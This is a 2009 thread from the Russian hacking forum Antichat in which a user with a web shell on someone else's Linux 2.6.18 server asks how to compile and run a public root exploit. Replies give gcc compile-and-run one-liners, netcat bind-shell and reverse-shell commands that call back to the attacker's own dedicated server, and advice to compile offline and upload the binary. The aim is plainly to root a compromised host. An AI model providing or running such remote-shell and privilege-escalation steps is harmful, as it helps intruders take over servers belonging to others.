Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Linux Kernel 2.6.18 vS Exploit (https://forum.antichat.xyz/showthread.php?t=121272)

mailbrush 18.05.2009 22:17

Linux Kernel 2.6.18 vS Exploit
 
Есть у меня веб-шелл на серваке Linux Kernel 2.6.18 и сплоит под него - http://www.milw0rm.com/exploits/5092. Со сплоитами никогда не работал, поэтому задаю такой вопрос - как его откомпилить, имея только веб-шелл (права на запись есс-но есть, но только в текущей директории)?

Shaitan-Devil 18.05.2009 22:20

Попробуй
Код:

gcc -o sploit sploit.c; chmod +x sploit;./sploit
НУ или
Код:

gcc -o sploit sploit.c; chmod 777 sploit;./sploit
ну или без chmod
Код:

gcc -o sploit sploit.c;./sploit
А вообще в интернете много статей.

mailbrush 18.05.2009 22:28

Я видел на хакере точно такой же, только там $ был спереди, поэтому ничего не работало. Сейчас попробую.

Spyder 18.05.2009 22:31

тебе как минимум надо получить нормальный шелл

mailbrush 18.05.2009 22:35

У меня Веб-Шелл, а не SSH доступ, и gcc почему-то там не пашет. Я юзаю в eval()
PHP код:

system('gcc -o exploit exploit.c;'); 

PS: в линухе я полный 0

Shaitan-Devil 18.05.2009 22:36

Нужно сделать бекконнект или забиндить порт.
П.С. Или нет?=\

oRb 18.05.2009 22:44

Цитата:

PS: в линухе я полный 0
это чувствуется)
$ перед командой - это пояснение, что команды выполняются с правами обычного пользователя. # - с правами рута.
Цитата:

У меня Веб-Шелл, а не SSH доступ
забинди порт или сделай бек-конект.
Цитата:

gcc почему-то там не пашет
что выведет which gcc?

Spyder 18.05.2009 23:03

which gcc cc cpp

бинди порт, например неткатом
nc -l -p 31337 -e /bin/sh &

потом у себя неткатом
nc -v www.site.com 31337

Если тебе очень повезло и фаер не блочит соединения тебя поприветствует оболчка шелла

В ином случае делай бекконект
у себя на дедике открываешь порт
nc -l -p 31337

на сервер который собираешься рутать
nc -v www.dedik.com 31337 -e /bin/sh &

Удачи =)

AkyHa_MaTaTa 18.05.2009 23:12

Нет факт что:
-- на хосте присутсвует gcc(мало вероятно);
-- что у твоего блайнда хватит прав на доступ к gcc(более вероятно, как правило nobody и etc);
Скомпиль на локальной машине, скопирую(выстави права по необходимости) и запускай(не фактов тоже много).

Spyder 18.05.2009 23:19

AkyHa_MaTaTa, уж если ему не хватит прав на gcc, то ещё более вероятно что там noexec ;)


Время: 10:52